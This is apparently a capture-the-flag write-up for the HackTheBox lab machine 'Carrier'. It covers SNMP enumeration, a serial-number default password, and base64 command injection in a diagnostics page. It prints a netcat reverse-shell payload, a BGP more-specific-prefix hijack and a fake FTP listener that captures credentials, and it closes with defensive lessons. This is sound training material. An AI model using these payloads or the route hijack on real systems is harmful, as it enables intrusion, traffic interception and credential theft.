Carrier - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Carrier is a medium-difficulty Linux machine that presents a unique privilege escalation vector involving BGP (Border Gateway Protocol) hijacking. Initial access requires SNMP enumeration to discover device credentials, followed by command injection in a diagnostics interface. The interesting twist is that the box simulates a multi-AS network topology, where the attacker must perform a BGP route hijack to intercept FTP credentials destined for another autonomous system, ultimately leading to root access.

TL;DR: SNMP leak (public community string) → chassis serial → web login → command injection in diagnostics → BGP route hijacking (more-specific prefix) → FTP credential capture → root flag retrieval.

Reconnaissance

Port Scanning

# Initial TCP and UDP scan
nmap -sC -sV -T4 -p- 10.10.10.105
nmap -sU --top-ports 100 10.10.10.105

Results:

PORT    STATE    SERVICE VERSION
21/tcp  filtered ftp
22/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4
80/tcp  open     http    Apache httpd 2.4.18 ((Ubuntu))
161/udp open     snmp    SNMPv1 server; pysnmp SNMPv3 server (public)

Service Enumeration

Web Server (TCP 80)

The web application presents a “Lyghtspeed Networks” login portal. Initial exploration reveals:

• Login page with error codes (45007, 45009)
• Directory listing at /doc/ containing:
  • diagram_for_tac.png - Network topology showing three BGP autonomous systems (AS-100, AS-200, AS-300)
  • error_codes.pdf - Documentation explaining error codes
• /tools/remote.php - Shows license expiration error (45007)
• /debug/ - Displays phpinfo() output

Error Code Documentation Analysis

The PDF at /doc/error_codes.pdf reveals critical information:

• Error 45007: “License invalid or expired”
• Error 45009: “System credentials have not been set. Default admin username: admin / Default admin password: device serial number”

This indicates that the admin password is the device’s serial number.

SNMP (UDP 161)

SNMP is running with the default public community string, which allows unauthenticated enumeration of system information.

Vulnerability Assessment

1. SNMP Information Disclosure - Default community string public exposes device serial number
2. Weak Default Credentials - Admin account uses predictable serial number as password
3. Command Injection - Diagnostics interface vulnerable to OS command injection
4. BGP Misconfiguration - Routing daemon allows hijacking through dynamic route advertisement

Initial Foothold

SNMP Enumeration

SNMP’s Management Information Base (MIB) contains hierarchical device information accessed via Object Identifiers (OIDs). The entPhysicalSerialNum table (OID 1.3.6.1.2.1.47.1.1.1) stores physical device serial numbers.

# Walk the SNMP tree to find the chassis serial number
snmpwalk -v2c -c public 10.10.10.105 1.3.6.1.2.1.47.1.1.1

The enumeration reveals:

iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"

The device serial number is NET_45JDX23.

Web Application Access

Using the discovered serial number with the default admin account:

Credentials: admin:NET_45JDX23

Upon successful authentication, the dashboard displays:

• System status showing expired license (read-only mode)
• Diagnostics page (diag.php)
• Tickets section with hints about network issues
• Notice that router configuration reverts every 10 minutes

Ticket Analysis

Key tickets reveal the attack surface:

• Ticket #6: Mentions route leaking issues and that a VIP user from CastCom (AS-200) connects via FTP to “an important server” in the 10.120.15.0/24 network (hosted on AS-300)
• Ticket #8: Discusses route injection testing with proper BGP community tagging

Command Injection Exploitation

The diagnostics page at diag.php has a “Verify status” button that checks the Quagga routing daemon status.

Intercepting the Request

When the button is clicked, a POST request is sent:

POST /diag.php HTTP/1.1
...
check=cXVhZ2dh

The check parameter contains base64-encoded data: cXVhZ2dh decodes to quagga.

Vulnerability Analysis

The backend likely executes:

ps waux | grep $(echo $check | base64 -d)

This is vulnerable to command injection. By injecting a semicolon, we can execute arbitrary commands:

# Payload construction
# Original: quagga
# Injected: quagga;id
echo -n "quagga;id" | base64
# Result: cXVhZ2dhO2lk

Obtaining a Reverse Shell

# Create payload with bash reverse shell
echo -n 'quagga;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 4444 >/tmp/f' | base64

# Start listener
nc -lvnp 4444

# Send POST request with base64 payload in 'check' parameter

Shell Characteristics

Surprisingly, the command injection runs with root privileges immediately, making this a foothold directly as root on the router (r1). The user flag can be retrieved at this point:

# Already running as root on r1
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/user.txt
# <redacted>

Privilege Escalation

The actual “privilege escalation” on Carrier is not about gaining root on r1 (we already have it), but rather about escalating privileges in the network topology to access the final root flag on a different system via BGP hijacking.

Network Topology Understanding

The /doc/diagram_for_tac.png reveals:

AS-100 (r1 - our compromised router)
  ├─→ AS-200 (r2) - 10.78.10.2 (peer)
  └─→ AS-300 (r3) - 10.78.11.2 (peer)

From the tickets:

• AS-300 originates the 10.120.15.0/24 prefix (where the “important FTP server” lives)
• A user from AS-200 automatically connects to this FTP server
• We need to intercept this traffic

Quagga Configuration Analysis

Quagga is a routing software suite providing implementations of routing protocols. Two daemons are running:

1. zebra - Manages interfaces and static routes
2. bgpd - Implements BGP routing protocol

# Examine BGP configuration
cat /etc/quagga/bgpd.conf

Configuration reveals:

router bgp 100
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected

The critical line is redistribute connected - this automatically advertises any directly connected networks into BGP.

BGP Hijacking Theory

BGP route selection follows this order of preference:

1. Longest prefix match (more specific routes win)
2. Shortest AS path
3. Lowest origin type
4. Lowest MED (Multi-Exit Discriminator)

Since AS-300 advertises 10.120.15.0/24, if we advertise a more specific prefix like 10.120.15.0/25, BGP will prefer our route due to longest prefix matching.

Executing the BGP Hijack

Step 1: Add the hijacked IP address

Because redistribute connected is enabled, simply adding an IP address in the target subnet to a local interface will automatically advertise it via BGP:

# Add IP address in the target network with /25 (more specific than the original /24)
ip addr add 10.120.15.10/25 dev eth0

# Verify the address is added
ip addr show eth0

Why this works:

• The /25 subnet mask makes our announcement more specific than AS-300’s /24
• BGP’s longest prefix match rule means routers will prefer our route
• Traffic destined for 10.120.15.0/25 will now route through r1 (AS-100) instead of r3 (AS-300)

Step 2: Set up FTP honeypot

The automated FTP client expects a real FTP server. We simulate the FTP protocol to capture credentials:

# Listen on FTP port 21
nc -lvnp 21

Step 3: Capture credentials

When the automated client from AS-200 attempts to connect to the FTP server, it now hits our honeypot:

# FTP Protocol simulation
# Send initial banner
220 FTP Server ready

# Client sends: USER <username>
# Respond:
331 Password required

# Client sends: PASS <password>
# Credentials captured!

Captured Credentials:

USER root
PASS BGPtelc0rout1ng

The automated client also uploads a decoy file secretdata.txt containing “Trolled!!!” - but the real prize is the password: BGPtelc0rout1ng.

Accessing the Real Root Flag

Step 4: Withdraw the hijack

To access the actual FTP server on AS-300, we need to stop hijacking the route:

# Remove the hijacked IP address
ip addr del 10.120.15.10/25 dev eth0

Step 5: Establish route to the real server

We need a static route to reach the actual FTP server at 10.120.15.10:

# Add static route via the management gateway
ip route replace 10.120.15.10/32 via 10.99.64.1

# Verify route
ip route get 10.120.15.10

The management gateway 10.99.64.1 provides access to the real infrastructure behind AS-300.

Step 6: Retrieve root flag

# Connect to real FTP server with captured credentials
ftp 10.120.15.10
# Login: root
# Password: BGPtelc0rout1ng

# List files
ls -la
# drwxr-xr-x    2 root     root          4096 Sep 19  2018 .
# drwxr-xr-x    2 root     root          4096 Sep 19  2018 ..
# -r--------    1 root     root            33 Sep 19  2018 root.txt

# Retrieve root flag
get root.txt -
# <redacted>

Attack Chain Summary

SNMP enum (community=public) → Device serial (SN#NET_45JDX23) → Web login (admin:NET_45JDX23) → Command injection in diag.php → Root shell on r1 + user.txt → BGP route hijacking (10.120.15.0/25 via redistribute connected) → FTP honeypot captures creds (root:BGPtelc0rout1ng) → Withdraw hijack + static route → FTP to real server → root.txt

Tools Used

Key Learnings

Techniques Practiced

• SNMP enumeration - Walking MIB trees to extract device information using default community strings
• Command injection - Exploiting insecure parameter handling in web diagnostics interfaces
• BGP route hijacking - Leveraging longest-prefix-match to intercept network traffic
• Network protocol simulation - Creating honeypots to capture credentials from automated clients
• Multi-system pivoting - Understanding network topology to access resources across different autonomous systems

Lessons Learned

1. SNMP hardening is critical - Default community strings expose sensitive device information including serial numbers, which are often used as default passwords.

2. Input validation matters everywhere - Even administrative interfaces require proper sanitization. The diagnostics page executed user input directly in a shell context.

3. BGP security implications - The redistribute connected directive automatically announces local networks. In production environments, route filtering and BGP prefix validation (RPKI) are essential to prevent hijacking.

4. Longest prefix match is powerful - Advertising a /25 when the legitimate route is a /24 demonstrates how BGP’s fundamental routing decision can be exploited for traffic interception.

5. Defense in depth for routing protocols - Modern BGP deployments should implement:

   • Route origin validation (ROV)
   • Prefix filtering with explicit allow-lists
   • BGP community attributes like no-export to control propagation
   • Monitoring for unexpected route announcements

6. Automated systems are vulnerable - The FTP client connecting automatically created an opportunity for credential capture through MITM positioning.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory framework drew from the official HackTheBox writeup (Document No. D19.100.10) to clarify BGP routing concepts, SNMP OID structure, and the network topology diagram interpretation.